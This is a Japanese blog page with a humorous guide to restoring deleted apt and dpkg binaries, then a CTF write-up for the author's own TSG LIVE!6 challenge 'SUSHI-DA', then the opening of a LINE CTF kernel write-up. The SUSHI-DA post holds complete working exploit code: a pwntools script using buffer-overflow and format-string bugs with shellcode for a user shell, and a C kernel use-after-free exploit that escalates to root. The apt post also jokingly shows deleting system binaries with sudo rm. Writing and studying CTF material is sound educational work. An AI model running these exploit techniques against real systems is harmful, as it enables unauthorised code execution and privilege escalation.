newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【雑談 10.0】aptとdpkgを両方消したときにやること

 

 

注意: 本記事に書いてあることを実際に試して環境がぶっ壊れてもなんの責任も負いませんし、サンダルで散歩した時に親指を怪我したとしてもなんの責任も取りません。

 

 

 

大学院の募集が始まり研究計画書が書けないということでイライラすることはよくあると思います。

 

イライラしたときに、aptのデバッグをするためにソースからビルドして、それを間違えて環境にインストールしてしまうこともよくあると思います。

そうすると、おそらく以下のように/etc/aptではなく/usr/local/etc/aptを見に行くようになってしまい、余計イライラが蓄積していきます。

.sh
W: Unable to read /usr/local/etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/sources.list - RealFileExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/preferences.d/ - DirectoryExists (2: No such file or directory)

 

apt自体は異常な量のconfig名前空間を持っており、それを指定することで一時的にetcディレクトリを指定することはできます。例えばsudo apt -oDir::Etc=/etc/apt install hogeとすることでetcを指定することができます。それにしたってinstall時に以下のようなエラーが出ます。

.sh
After this operation, 120 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 30%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 61%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 91%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 100%
Could not exec dpkg!
E: Sub-process /usr/local/bin/dpkg returned an error code (100)

 

ここまで来ると、およそ大抵の人はイライラが蓄積し、aptをリインストールすることになると思います。しかし、aptだけリインストールしても上の症状は全く変わりません。

そうするとほとんどの人はそのイライラから以下のようなコマンドを打つことになると思います。

.sh
wataru@skbpc:~: 20:43:34 Thu Jun 03
$ sudo rm /usr/bin/dpkg
wataru@skbpc:~: 20:43:50 Thu Jun 03
$ sudo rm /usr/bin/apt

 

ここで、1分くらい絶望に暮れましょう。

 

 

dpkgのリインストール

多分、UbuntuのISOイメージに入ってるaptとdpkgを使ってやるのが最もクリーンだと思いますが、以下ではちょっとdirtyかもしれない方法を使います。ISO入ったCD-ROMって、なくしがちだもんね。

やることは、aptがやってくれることを手動でやるだけです。

まずはIndexファイルを取ってきます。

.sh
$ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz
--2021-06-03 21:39:20--  http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz
Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ...
Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2021-06-03 21:39:21 ERROR 404: Not Found.

$ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz
--2021-06-03 21:39:34--  http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz
Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ...
Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1274738 (1.2M) [application/x-gzip]
Saving to: ‘Packages.gz’

Packages.gz            100%[==========================>]   1.21M   916KB/s    in 1.4s

2021-06-03 21:39:36 (916 KB/s) - ‘Packages.gz’ saved [1274738/1274738]

$ gunzip ./Packages.gz

ここで一回binary-amd64binary-adm64typoすることが重要です。distroとarchとcomponentは自分が使っているものに合わせてください。そしたら、そのIndexファイルを見てdpkgを探します。

.sh
Package: dpkg
Architecture: amd64
Version: 1.19.7ubuntu3
Multi-Arch: foreign
Priority: required
Essential: yes
Section: admin
Origin: Ubuntu
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Original-Maintainer: Dpkg Developers <debian-dpkg@lists.debian.org>
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Installed-Size: 6740
Pre-Depends: libbz2-1.0, libc6 (>= 2.15), liblzma5 (>= 5.2.2), libselinux1 (>= 2.3), libzstd1 (>= 1.3.2), zlib1g (>= 1:1.1.4)
Depends: tar (>= 1.28-1)
Suggests: apt, debsig-verify
Breaks: acidbase (<= 1.4.5-4), amule (<< 2.3.1+git1a369e47-3), beep (<< 1.3-4), im (<< 1:151-4), libapt-pkg5.0 (<< 1.7~b), libdpkg-perl (<< 1.18.11), lsb-base (<< 10.2019031300), netselect (<< 0.3.ds1-27), pconsole (<< 1.0-12), phpgacl (<< 3.3.7-7.3), pure-ftpd (<< 1.0.43-1), systemtap (<< 2.8-1), terminatorx (<< 4.0.1-1), xvt (<= 2.1-20.1)
Filename: pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb
Size: 1127856
MD5sum: f595c79475d3c2ac808eaac389071c35
SHA1: b9cb6b292865ec85bca1021085bc0e81e160e676
SHA256: 76132be95c7199f902767fb329e0f33210ac5b5b1816746543bc75f795d9a37c
Homepage: https://wiki.debian.org/Teams/Dpkg
Description: Debian package management system
Task: minimal
Description-md5: 2f156c6a30cc39895ad3487111e8c190

Filenameを見ると、バイナリの場所が書いてあるのでそれを取ってきます。

.sh
$ wget http://security.ubuntu.com/ubuntu/pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb

 

dpkgがないため、バイナリなくてやばいなり、という渾身のギャグを一発かました後、直接extractしてバイナリを取り出します。

.sh
mkdir nirugiri && cd nirugiri
ar x ../dpkg_1.19.7ubuntu3_amd64.deb
unxz ./data.tar.xz && tar xvf ./data.tar
sudo cp ./usr/bin/dpkg /usr/bin/

 

これでdpkgのリインストールは終わり。

 

aptのリインストール

apt自体は、上の方法で同様にやればOK。しかも今回はdpkgを使えます。ありがて〜〜〜。

aptのインストールが終わったら念の為dpkgをaptからリインストールするといいって実家を出る時にばあちゃんが言ってました。

 

古いaptを消す

これでやっと振り出しに戻りますが、依然aptは/usr/local/etc/aptを見続けます。ストーカー並みに見続けます。

なので、straceして何が悪さをしているかを見ます。

.sh
openat(AT_FDCWD, "/usr/local/lib/libapt-private.so.0.0", O_RDONLY|O_CLOEXEC) = 3

この辺ですね。抹消します。

.sh
sudo mv /usr/local/lib/libapt-private.so.0.0 /usr/local/lib/libapt-private.so.0.0.kasu
sudo mv /usr/local/lib/libapt-pkg.so /usr/local/lib/libapt-pkg.so.kasu

恨みを込めて、拡張子はkasuにしておくのがおすすめです。

 

 

アウトロ

いかがだったでしょうか?

カス記事を書くのはいつだって楽しいし、晩御飯はいつ食べても美味しいことが知られています。

 

 

 

参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 53.0】TSGLIVE!6 CTF - SUSHI-DA (kernel exploit)

keywords

BOF / FSA / seq_operations / kUAF

 

 

1: イントロ

いつぞや開催されたTSG LIVE!6 CTF。120分という超短期間のCTF。pwnを作ったのでその振り返りとliveの感想。 

f:id:smallkirby:20210516195731p:plain

ニルギリ

問題コード・ファイル・exploit等全てのコードは以下のリポジトリにあります。

github.com

 

2: 問題概要

Level 1~3で構成される問題。どのレベルもLKMを利用したプログラムを共通して使っているが、Lv1/2はLKMを使わなくても(つまり、QEMU上で走らせなくても)解けるようになっている。

短期間CTFであり、プレイヤの画面が公開されるという性質上、放送映えするような問題にしたかった。pwnの楽しいところはステップを踏んでexploitしていくところだと思っているため、Level順にプログラムのロジックバイパス・user shellの奪取・root shellの奪取という流れになっている。正直Level3は特定の人物を狙い撃ちした問題であり、早解きしてギリギリ120分でいけるかなぁ(願望)という難易度になっている。

 

3: SUSHI-DA1: logic bypass

static.sh
$ file ./client
./client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=982caef5973f267fa669d3922c57233063f709d2, for GNU/Linux 3.2.0, not stripped
$ checksec --file ./client
[*] '/home/wataru/test/sandbox/client'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

f:id:smallkirby:20210516195926p:plain

寿司打?

冷え防止の問題。テーマは寿司打というタイピングゲーム。

client.c
  struct {
    unsigned long start, result;
    char type[MAX_LENGTH + 0x20];
    int pro;
  } info = {0};
 (snipped...)
  info.result = time(NULL) - info.start;
  puts("\n[ENTER] again to finish!");
  readn(info.type, 0x200);

  printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result);
  register_record(info.result);
  if(info.pro != 0) system("cat flag1");

 

クリアした後にENTERを受け付ける箇所があるが、ここでバッファサイズの200+の代わりに0x200を受け付けてしまっているためstruct info内でBOFが発生しinfo.proを書き換えられる。

 

4: SUSHI-DA2: user shell

client.c
  while(success < 3){
    unsigned question = rand() % 4;
    if(wordlist[question][0] == '\x00') continue;
    printf("[TYPE]\n");
    printf(wordlist[question]); puts("");
    readn(info.type, 200);
    if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0)  warn_ret("🙅‍🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED.");
    ++success;
  }
(snipped...)
void add_phrase(void){
  char *buf = malloc(MAX_LENGTH + 0x20);
  printf("[NEW PHRASE] ");
  readn(buf, MAX_LENGTH - 1);
  for(int ix=0; ix!=MAX_LENGTH-1; ++ix){
    if(buf[ix] == '\xa') break;
    memcpy(wordlist[3]+ix, buf+ix, 1);
  }
}

 

タイピングのお題を1つだけカスタムできるが、お題の表示にFSBがある。これでstackのleakができる。

この後の方針は大きく分けて2つある。1つ目は、stackがRWXになっているためstackにshellcodeを積んだ上でRAをFSBで書き換えてshellを取る方法。この場合、FSAの入力と発火するポイントが異なるため、FSAで必要な準備(書き換え対象のRAがあるアドレスをstackに積む必要がある)はmain関数のstackに積んでおくことになる。また、発火に時間差があるという都合上、単純にpwntoolsを使うだけでは解くことができない。

client.c
int main(int argc, char *argv[]){
  char buf[0x100];
  srand(time(NULL));
  setup();

  while(1==1){
    printf("\n\n$ ");
    if (readn(buf, 100) <= 0) die("[ERROR] readn");

2つ目は、canaryだけリークしてあとは通常のBOFでROPするという方法。こっちのほうが多分楽。正直、canaryはleakできない感じの設定にしても良かった(bufサイズを調整)が、200と0x200を打ち間違えたという雰囲気を出したかった都合上、canaryのleak+ROPまでできるくらいの設定になった。

尚、最後に載せているfull exploitではFSBだけで解いている。

 

5: SUSHI-DA3: root shell

ここまででuser shellがとれているため、今度はLKMのバグをついてrootをとる。バグは以下。

sushi-da.c
long clear_old_records(void)
{
  int ix;
  char tmp[5] = {0};
  long date;
  for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){
    if(records[ix] == NULL) continue;
    strncpy(tmp, records[ix]->date, 4);
    if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);
  }
  return 0;
}

タイピングゲームの記録をLKMを使って記録しているのだが、古いレコード(1990年以前)と不正なレコードを削除する関数においてkfreeしたあとの値をクリアしていない。これによりkUAFが生じる。

SMEP/SMAP無効KAISER無効であるため、あとは割と任意のことができる。editがないことやkmallocではなくkzallocが使われているのがちょっと嫌な気もするが、実際はdouble freeもあるためseq_operationsでleakしたあとに再びそれをrecordとして利用することでRIPを取ることができる。

 

6: full exploit

exploit.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-

# coding: 4 spaces

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from pwn import *
import pwnlib
import sys, os

def handle_pow(r):
    print(r.recvuntil(b'python3 '))
    print(r.recvuntil(b' solve '))
    challenge = r.recvline().decode('ascii').strip()
    p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge])
    solution = p.readall().strip()
    r.sendline(solution)
    print(r.recvuntil(b'Correct\n'))

hosts = ("sushida.pwn.hakatashi.com","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)
#libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(command):
  global c
  c.recvuntil("$ ")
  c.sendline(command)

def typin():
  c.recvuntil("[TYPE]")
  c.recvline()
  c.sendline(c.recvline().rstrip())

def play_clear(avoid_nirugiri=True):
  global c
  hoge("play")
  for _ in range(3):
    typin()
  
def custom(phrase):
  global c
  hoge("custom")
  c.recvuntil("[NEW PHRASE] ")
  c.sendline(phrase)

def custom_wait_NIRUGIRI(pay, append_nirugiri=True):
  global c
  print("[.] waiting luck...")
  res = ""
  found = False
  if append_nirugiri:
    custom("NIRUGIRI" + pay)
  else:
    custom(pay)

  while True:
    hoge("play")
    for _ in range(3):
      c.recvuntil("[TYPE]")
      c.recvline()
      msg = c.recvline().rstrip()
      if "NIRUGIRI" in msg:
        found = True
        res = msg
        if append_nirugiri:
          c.sendline("NIRUGIRI"+pay)
        else:
          c.sendline(pay)
      else:
        c.sendline(msg)
    c.recvuntil("ENTER")
    c.sendline("")
    if found:
      break      
  
  return res[len("NIRUGIRI"):]

def inject_wait_NIRUGIRI(pay):
  global c
  print "[.] injecting and waiting luck",
  res = ""
  found = False
  aborted = False
  custom(pay)

  while True:
    hoge("play")
    for _ in range(3):
      c.recvuntil("[TYPE]")
      c.recvline()
      msg = c.recvline().rstrip()
      if "NIRUGIRI" in msg:
        print("\n[!] FOUND")
        c.sendline("hey")
        return
      else:
        print ".",
        c.sendline(msg)
    if aborted:
      aborted = False
      continue
    c.sendline("")

## exploit ###########################################

def exploit():
  global c
  global kctf
  MAX_TYPE = 200

  ##############################
  #  LEVEL 1                   #
  ##############################
  # overwrite info.pro
  play_clear()
  c.recvuntil("ENTER")
  c.sendline("A"*0xf8)
  c.recvuntil("typed")
  c.recvline()
  flag1 = c.recvline().rstrip()
  if "TSGLIVE" not in flag1:
      exit(1)
  print("\n[!] Got a flag1 🎉🎉🎉 " + flag1)

  ###############################
  ##  LEVEL 2                   #
  ###############################
  SC_START = 0x50
  pay = b""

  # leak stack
  pay += "%42$p"
  leaked = int(custom_wait_NIRUGIRI(pay), 16)
  ra_play_game = leaked - 0x128
  buf_top = leaked - 0x230
  target_addr = ra_play_game + 0x38
  print("[+] leaked stack: " + hex(leaked))
  print("[+] ra_play_game: " + hex(ra_play_game))
  print("[+] buf_top: " + hex(buf_top))
  pay_index = 47

  # calc
  v0 = target_addr & 0xFFFF
  v1 = (target_addr >> 16) & 0xFFFF
  v2 = (target_addr >> 32) & 0xFFFF
  assert(v0>8 and v1>8 and v2>8)
  vs = sorted([[0,v0],[1,v1],[2,v2]], key= lambda l: l[1])

  # place addr & sc
  sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
  c.recvuntil("$ ")
  pay = b""
  pay += "A"*8
  pay += p64(ra_play_game) + p64(ra_play_game+2) + p64(ra_play_game+4)
  pay += sc
  assert(len(pay) <= 0x50)
  assert("\x0a" not in pay)
  c.sendline(pay)

  # overwrite return-addr with FSA
  pay = b""
  pay += "NIRUGIRI"
  pay += "%{}c".format(vs[0][1]-8)
  pay += "%{}$hn".format(pay_index + vs[0][0])
  pay += "%{}c".format(vs[1][1] - vs[0][1])
  pay += "%{}$hn".format(pay_index + vs[1][0])
  pay += "%{}c".format(vs[2][1] - vs[1][1])
  pay += "%{}$hn".format(pay_index + vs[2][0])
  assert("\x0a" not in pay)
  assert(len(pay) < MAX_TYPE)
  print("[+] shellcode placed @ " + hex(target_addr))

  # nirugiri
  inject_wait_NIRUGIRI(pay) # if NIRUGIRI comes first, it fails
  c.sendlineafter("/home/user $", "cat ./flag2")
  flag2 = c.recvline()
  if "TSGLIVE" not in flag2:
      exit(2)
  print("\n[!] Got a flag2 🎉🎉🎉 " + flag2)

  ##############################
  #  LEVEL 3                   #
  ##############################
  # pwning kernel...
  c.recvuntil("/home/user")
  print("[!] pwning kernel...")
  if kctf:
    with open("/home/user/exploit.gz.b64", 'r') as f:
      binary = f.read()
  else:
    with open("./exploit.gz.b64", 'r') as f:
      binary = f.read()

  progress = 0
  pp = 0
  N = 0x300
  total = len(binary)
  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
  for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
    c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) # don't forget -n
    progress += N
    if (float(progress) / float(total)) > pp:
      pp += 0.1
      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(total)))
  c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
  c.sendlineafter('$', 'gunzip ./exploit.gz')

  c.sendlineafter('$', 'chmod +x ./exploit')
  c.sendlineafter('$', '/home/user/exploit')

  c.recvuntil("# ")
  c.sendline("cat flag3")
  flag3 = c.recvline()
  if "TSGLIVE" not in flag3:
      exit(3)
  print("\n[!] Got a flag3 🎉🎉🎉 " + flag3)


## main ##############################################

if __name__ == "__main__":
    global c
    global kctf
    kctf = False
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
      elif sys.argv[1][0]=="k":
        c = remote("127.0.0.1", 1337) # kctf XXX
        kctf = True
        print("[+] kctf healthcheck mode")
        print(c.recvuntil("== proof-of-work: "))
        if c.recvline().startswith(b'enabled'):
          handle_pow(c)
    else:
        c = remote(rhp2['host'],rhp2['port'])

    try:
        exploit()
    except:
        print("\n")
        print(sys.exc_info()[0], sys.exc_info()[1])
        print("\n[?] exploit failed... try again...")
        exit(4)
    if kctf:
        print("\n[+] healthcheck success!")
        exit(0)
    else:
        c.interactive()

 

kernel.

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

#include "../include/sushi-da.h"


// commands
#define DEV_PATH "/dev/sushi-da"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  puts("[!] NIRUGIRI!");
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("\n\n Got a root! 🎉🎉🎉");
  execve("/bin/sh",argv,envp);
}

// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

ulong kernbase;
ulong commit_creds, prepare_kernel_cred;

static void shellcode(void){
  ulong init_cred;
  asm(
    "mov %%rdi, 0x0\n"
    "call %P1\n"
    "movq %0, %%rax"
    : "=r" (init_cred) : "r" ((void*)prepare_kernel_cred) : "memory"
  );
  asm(
      "mov %%rdi, %0\n"
      "call %P1\n" 
      ::"r"((void *)init_cred), "r"((void *)commit_creds) : "memory"
  );
  asm(
      "swapgs\n"
      "mov %%rax, %0\n"
      "push %%rax\n"
      "mov %%rax, %1\n"
      "push %%rax\n"
      "mov %%rax, %2\n"
      "push %%rax\n"
      "mov %%rax, %3\n"
      "push %%rax\n"
      "mov %%rax, %4\n"
      "push %%rax\n"
      "iretq\n" 
      ::"r"(user_ss), "r"(user_sp), "r"(user_rflags), "r"(user_cs), "r"(&NIRUGIRI) : "memory"
    );
}
// (END utils)

void register_record(int fd, int score, char *date){
  struct ioctl_register_query  q = {
    .record = {.result = score,},
  };
  strncpy(q.record.date, date, 0x10);
  if(ioctl(fd, SUSHI_REGISTER_RECORD, &q) < 0){
    errExit("register_record()");
  } 
}

void fetch_record(int fd, int rank, struct record *record){
  struct ioctl_fetch_query q = {
    .rank = rank,
  };
  if(ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0){
    errExit("fetch_record()");
  } 
  memcpy(record, &q.record, sizeof(struct record));
}

void clear_record(int fd){
  if(ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL) < 0){
    errExit("clear_record()");
  } 
}

void show_rankings(int fd){
  struct ioctl_fetch_query q;
  for (int ix = 0; ix != 3; ++ix){
    q.rank = ix + 1;
    if (ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0) break;
    printf("%d: %ld sec : %s\n", ix + 1, q.record.result, q.record.date);
  }
}

void clear_all_records(int fd){
  if(ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL) < 0){
    errExit("clear_all_records()");
  }
}

int main(int argc, char *argv[]) {
  char inbuf[0x200];
  char outbuf[0x200];
  int seqfd;
  int tmpfd[0x90];
  memset(inbuf, 0, 0x200);
  memset(outbuf, 0, 0x200);
  printf("[.] pid: %d\n", getpid());
  printf("[.] NIRUGIRI at %p\n", &NIRUGIRI);
  printf("[.] shellcode at %p\n", &shellcode);
  int fd = open(DEV_PATH, O_RDWR);
  if(fd <= 2){
    perror("[ERROR] failed to open mora");
    exit(0);
  }
  clear_all_records(fd);

  struct record r;
  struct record r1 = {
    .result = 1,
    .date = "1930/03/12",
  };

  // heap spray
  puts("[.] heap spraying...");
  for (int ix = 0; ix != 0x90; ++ix)
  {
    tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
  }

  // leak kernbase
  puts("[.] generating kUAF...");
  register_record(fd, r1.result, r1.date);
  clear_record(fd);
  if((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){
    errExit("open seq_operations");
  }
  fetch_record(fd, 1, &r);

  const ulong _single_start = *((long*)r.date);
  const ulong kernbase = _single_start - 0x194090;
  printf("[+] single_start: %lx\n", _single_start);
  printf("[+] kernbase: %lx\n", kernbase);
  commit_creds = kernbase + 0x06cd00;
  printf("[!] commit_creds: %lx\n", commit_creds);
  prepare_kernel_cred = kernbase + 0x6d110;
  printf("[!] prepare_kernel_cred: %lx\n", prepare_kernel_cred);

  // double free
  struct record r2 = {
    .result = 3,
  };
  *((ulong*)r2.date) = &shellcode;
  clear_record(fd);
  register_record(fd, r2.result, r2.date);

  // get RIP
  save_state();
  for (int ix = 0; ix != 0x80; ++ix){
    close(tmpfd[0x90 - 1 - ix]);
  }
  read(seqfd, inbuf, 0x10);

  return 0;
}

 

Makefile

# exploit
$(EXP)/exploit: $(EXP)/exploit.c
	docker run -it --rm -v "$$PWD:$$PWD" -w "$$PWD" alpine /bin/sh -c 'apk add gcc musl-dev linux-headers && $(CC) $(CPPFLAGS) $<'
	#$(CC) $(CPPFLAGS) $<
	strip $@

.INTERMEDIATE: $(EXP)/exploit.gz
$(EXP)/exploit.gz: $(EXP)/exploit
	gzip $<
$(EXP)/exploit.gz.b64: $(EXP)/exploit.gz
	base64 $< > $@
exp: $(EXP)/exploit.gz.b64

 

7: 感想

まずは、参加してくださった方々、とりわけ外部ゲストの方々ありがとうございました。超強豪が問題を解いている画面を見れるなんて滅多にないので、裏でかなり興奮していました。

特に@pwnyaaさんが残り3分くらいでroot shellを取ったところは感動モノでした。wgetを入れていなかったことや、サーバが本当の最後の数分間に調子が悪かったらしいこともあって足を引っ張ってしまって申し訳ないです。。。

 

今回の作問は、ステップを登っていく楽しさは味わえるようにしながら、ライブなので冷えすぎないように調整することが大事だったと思います。最初はそのコンセプトのもとにプログラムも80-90行くらいで収まるようにしていたのですが、あまりにも意味のないプログラムになりすぎたのでボツにして寿司打にしました(最初はcowsayをもじったmorasayという問題でした)。その結果として100行を超えてしまったのですが、個人的に少し長いプログラムよりもなにをしているかわからないプログラムのほうが読むの苦手なので寿司打におちつきました(それでもレコードをLKMに保存するの、意味わからんけど)。難易度に関しては、Lv1/2はライブ用にしましたが、Lv3は外部用の挑戦問題にしました。ただ、userland側のコードの多さゆえにミスリードが何箇所か存在していたらしく、それのせいで数分奪われてしまい解ききれないという人もいたと思うので、やっぱりシンプルさは大事だなぁと反省しました。

 

今回のpwnに関しては、kCTFでデプロイしています。ただ、k8sよくわからんので、実際に運用しているときにトラブルが発生して迅速に対応できるかと言うと、僕の場合はNoです。また、kCTFにはhealthcheckを自動化してくれるフレームワークが有るためexploitをhealthcheckできるような形式で書いたりする必要があります(今回はそんなに手間ではありませんでしたが、上のexploitコードの1/3くらいは冗長だと思います)。今回もhealthcheckは走ってたらしいですが、なにせstatusバッジがないためあんまり意味があったかはわかりません。

余談ですが、kCTFで権限を落とすのに使われているsetprivですが、aptリポジトリのsetprivを最新のkernelで使うことはできません。というのも、古いsetprivは/proc/sys/kernel/cap_last_capから入手したcap数とlinux/include内で定義されているcap数を比べてassertしているようなので。

a.sh
wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:41:59 Wed May 05
$ cat /proc/sys/kernel/cap_last_cap
39
wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:42:11 Wed May 05
$ cat /usr/include/linux/capability.h | grep CAP_LAST_CAP -B5
/* Allow reading the audit log via multicast netlink socket */
#define CAP_AUDIT_READ          37
#define CAP_LAST_CAP         CAP_AUDIT_READ

最新のkernelではCAP_BPFとCAP_PERFMONが追加されているため差分が生じてassertに失敗してしまいます。最新のsetprivではcap_last_capを全面的に信用することにしたらしいので、大丈夫なようです。

a.c
			/* We can trust the return value from cap_last_cap(),
			 * so use that directly. */
			for (i = 0; i <= cap_last_cap(); i++)
				cap_update(action, type, i);

実際にデプロイするときはkernelのver的に大丈夫でしたが、localで試すときには最新版のsetprivをソースからビルドして使いました。

 

 

 

あと毎回思うんですが、pwnの読み方はぽうんではなくぱうんだと思います。

 

 

 

 

まぁなにはともあれlive-ctfも終わりです。

 

 

8: 参考

1: TSG LIVE!6

https://www.youtube.com/watch?v=oitn3AiP6bM&t=14898s

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 52.0】pprofile - LINE CTF 2021 (kernel exploit)

keywords

copy_user_generic_unrolled / pointer validation / modprobe_path

 

 

 

1: イントロ

いつぞや開催されたLINE CTF 2021。最近kernel問を解いているのでkernel問を解こうと思って望んだが解けませんでした。このエントリの前半はpprofileの問題の概要及び自分がインタイムに考えたことをまとめていて、後半で実際に動くexploitの概要を書いています。尚、本exploitは@sampritipandaさんのPoCを完全に参考にしています。というかほぼ写経しています。過去のCTFの問題を復習する時に結構この人のPoCを参考にすることが多いので、いつもかなり感謝しています。

今回、振り返ってみるとかなり明らかな、自明と言うか、誘っているようなバグがあったにも関わらず全然気づけなかったので、反省しています。嘘です。コーラ飲んでます。

 

2: static

static.sh
/ $ cat /proc/version
Linux version 5.0.9 (ubuntu@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)) #1 SMP 9
$ cat ./run
qemu-system-x86_64 -cpu kvm64,+smep,+smap \
  -m 128M \
  -kernel ./bzImage \
  -initrd ./initramfs.cpio \
  -nographic \
  -monitor /dev/null \
